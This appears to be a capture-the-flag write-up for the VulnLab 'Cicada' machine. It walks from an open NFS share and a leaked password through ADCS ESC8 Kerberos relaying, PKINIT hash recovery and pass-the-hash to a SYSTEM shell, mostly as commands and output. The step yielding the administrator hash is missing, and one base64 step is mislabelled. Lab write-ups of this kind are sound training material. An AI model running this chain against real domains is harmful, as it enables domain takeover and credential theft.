Cicada
Cicada is a machine on the VulnLab platform with medium difficulty. This machine, which involves ESC8 and Kerberos relaying, is quite interesting
Let’s start with a classic Nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
➜ cicada nmap -p- --min-rate 1000 10.10.79.184 -oN port.txt
# Nmap 7.95 scan initiated Tue Apr 22 15:24:56 2025 as: /usr/lib/nmap/nmap --privileged -p- -oN port.txt 10.10.79.184
Nmap scan report for cicada.vl (10.10.79.184)
Host is up (0.091s latency).
Not shown: 65509 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
111/tcp open rpcbind
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
2049/tcp open nfs
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
49664/tcp open unknown
49667/tcp open unknown
49671/tcp open unknown
49672/tcp open unknown
49677/tcp open unknown
57742/tcp open unknown
57778/tcp open unknown
57795/tcp open unknown
57914/tcp open unknown
We immediately noticed an NFS share and decided to mount it to check its contents
1
2
3
➜ cicada showmount -e cicada.vl
Export list for cicada.vl:
/profiles (everyone)
Let’s mount it.
1
➜ cicada sudo mount -t nfs cicada.vl:/profiles share
1
2
➜ share ls
Administrator Daniel.Marshall Debra.Wright Jane.Carter Jordan.Francis Joyce.Andrews Katie.Ward Megan.Simpson Richard.Gibbons Rosie.Powell Shirley.West
Instead of checking them one by one, we use the tree command to get an overview of all the files.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
➜ share sudo tree
.
├── Administrator
│ ├── Documents
│ │ ├── $RECYCLE.BIN
│ │ │ └── desktop.ini
│ │ └── desktop.ini
│ └── vacation.png
├── Daniel.Marshall
├── Debra.Wright
├── Jane.Carter
├── Jordan.Francis
├── Joyce.Andrews
├── Katie.Ward
├── Megan.Simpson
├── Richard.Gibbons
├── Rosie.Powell
│ ├── Documents
│ │ ├── $RECYCLE.BIN
│ │ │ └── desktop.ini
│ │ └── desktop.ini
│ └── marketing.png
└── Shirley.West
16 directories, 6 files
We found that a password was visible in a photo. We really appreciate such irresponsible behaviors on shares like this. :)

1
2
3
4
5
6
7
8
9
➜ cicada netexec smb cicada.vl -u Rosie.Powell -p <REDACTED>
SMB 10.10.119.56 445 10.10.119.56 [*] x64 (name:10.10.119.56) (domain:10.10.119.56) (signing:True) (SMBv1:False)
SMB 10.10.119.56 445 10.10.119.56 [-] 10.10.119.56\Rosie.Powell:<REDACTED> STATUS_NOT_SUPPORTED
➜ cicada netexec smb cicada.vl -u Rosie.Powell -p <REDACTED> -k
SMB cicada.vl 445 cicada [*] x64 (name:cicada) (domain:vl) (signing:True) (SMBv1:False)
SMB cicada.vl 445 cicada [-] vl\Rosie.Powell:<REDACTED> [Errno Connection error (VL:88)] [Errno -2] Name or service not known
➜ cicada netexec ldap cicada.vl -u Rosie.Powell -p <REDACTED> -k
LDAP cicada.vl 389 DC-JPQ225.cicada.vl [*] x64 (name:DC-JPQ225.cicada.vl) (domain:cicada.vl) (signing:True) (SMBv1:False)
LDAP cicada.vl 389 DC-JPQ225.cicada.vl [+] cicada.vl\Rosie.Powell:<REDACTED>
As seen, we couldn’t authenticate over SMB, even using the -k option. However, we managed to authenticate via LDAP and obtained a TGT ticket for it
1
2
3
4
5
6
➜ cicada impacket-getTGT cicada.vl/Rosie.Powell@cicada.vl
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Saving ticket in Rosie.Powell@cicada.vl.ccache
➜ cicada export KRB5CCNAME=Rosie.Powell@cicada.vl.ccache
We saw the CertEnroll folder in the share. This indicates that ADCS is likely installed on this machine as well.
1
2
3
4
5
6
7
8
9
10
11
12
➜ cicada impacket-smbclient cicada.vl/Rosie.Powell@DC-JPQ225 -k -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# shares
ADMIN$
C$
CertEnroll
IPC$
NETLOGON
profiles$
SYSVOL
We verified this with Netexec.
1
2
3
4
5
6
➜ cicada netexec ldap cicada.vl -u Rosie.Powell -p Cicada123 -k -M adcs
LDAP cicada.vl 389 DC-JPQ225.cicada.vl [*] x64 (name:DC-JPQ225.cicada.vl) (domain:cicada.vl) (signing:True) (SMBv1:False)
LDAP cicada.vl 389 DC-JPQ225.cicada.vl [+] cicada.vl\Rosie.Powell:Cicada123
ADCS cicada.vl 389 DC-JPQ225.cicada.vl [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS cicada.vl 389 DC-JPQ225.cicada.vl Found PKI Enrollment Server: DC-JPQ225.cicada.vl
ADCS cicada.vl 389 DC-JPQ225.cicada.vl Found CN: cicada-DC-JPQ225-CA
Then, we used Certipy-AD and noticed the ESC8 vulnerability. Despite trying on the Linux side, I couldn’t succeed in exploiting it. For this, I used my own Commando VM (Windows) moving forward
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
➜ cicada certipy-ad find -u Rosie.Powell -vulnerable -stdout -k -no-pass -target DC-JPQ225
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'cicada-DC-JPQ225-CA' via CSRA
[!] Got error while trying to get CA configuration for 'cicada-DC-JPQ225-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'cicada-DC-JPQ225-CA' via RRP
[*] Got CA configuration for 'cicada-DC-JPQ225-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : cicada-DC-JPQ225-CA
DNS Name : DC-JPQ225.cicada.vl
Certificate Subject : CN=cicada-DC-JPQ225-CA, DC=cicada, DC=vl
Certificate Serial Number : 69E85693900661A04FCC9DA3C368321A
Certificate Validity Start : 2025-04-23 04:25:12+00:00
Certificate Validity End : 2525-04-23 04:35:12+00:00
Web Enrollment : Enabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : CICADA.VL\Administrators
Access Rights
ManageCertificates : CICADA.VL\Administrators
CICADA.VL\Domain Admins
CICADA.VL\Enterprise Admins
ManageCa : CICADA.VL\Administrators
CICADA.VL\Domain Admins
CICADA.VL\Enterprise Admins
Enroll : CICADA.VL\Authenticated Users
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled and Request Disposition is set to Issue
Certificate Templates : [!] Could not find any certificate templates
Of course, checking the MachineAccountQuota is important.
1
2
3
4
5
➜ cicada netexec ldap cicada.vl -u Rosie.Powell -p Cicada123 -k -M maq
LDAP cicada.vl 389 DC-JPQ225.cicada.vl [*] x64 (name:DC-JPQ225.cicada.vl) (domain:cicada.vl) (signing:True) (SMBv1:False)
LDAP cicada.vl 389 DC-JPQ225.cicada.vl [+] cicada.vl\Rosie.Powell:Cicada123
MAQ cicada.vl 389 DC-JPQ225.cicada.vl [*] Getting the MachineAccountQuota
MAQ cicada.vl 389 DC-JPQ225.cicada.vl MachineAccountQuota: 10
What we did here was import the .ovpn file provided by VulnLab into the OpenVPN client and join our VM to the cicada.vl domain.
Note:
For this, it’s important to change the DNS address of the OpenVPN Ethernet interface to match the DNS address of the cicada machine.
Here, we will use RemoteKerbRelay, a tool that automates the entire process. It has not been released yet, so we need to build it using Visual Studio.
The command is like the one in the photo below:

Next, we transfer the PKCS12 certificate to Linux and encode it using base64
1
➜ cicada cat cicada.pkcs12 | base64 -d > cert_auth
We can authenticate via PKINIT:
1
2
3
4
5
6
7
8
9
➜ cicada certipy-ad auth -pfx cert_auth -dc-ip 10.10.112.64 -domain cicada.vl
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: dc-jpq225$@cicada.vl
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc-jpq225.ccache'
[*] Trying to retrieve NT hash for 'dc-jpq225$'
[*] Got hash for 'dc-jpq225$@cicada.vl': aad3b435b51404eeaad3b435b51404ee:9a7488fcd7aa4bb34eaac4841115dc9a
Then, we find that we have obtained the krbtgt user’s ccache file
1
➜ cicada export KRB5CCNAME=dc-jpq225.ccache
1
2
3
4
5
6
7
➜ cicada klist
Ticket cache: FILE:dc-jpq225.ccache
Default principal: dc-jpq225$@CICADA.VL
Valid starting Expires Service principal
04/26/25 18:05:36 04/27/25 04:05:36 krbtgt/CICADA.VL@CICADA.VL
renew until 04/27/25 18:05:26
1
2
3
4
➜ cicada impacket-getTGT cicada.vl/administrator@DC-JPQ225 -hashes :85a0da53871a9d56b6cd05deda3a5e87
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in administrator@DC-JPQ225.ccache
1
2
3
4
5
6
➜ cicada impacket-smbexec cicada.vl/administrator@dc-jpq225 -k -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system
That’s it!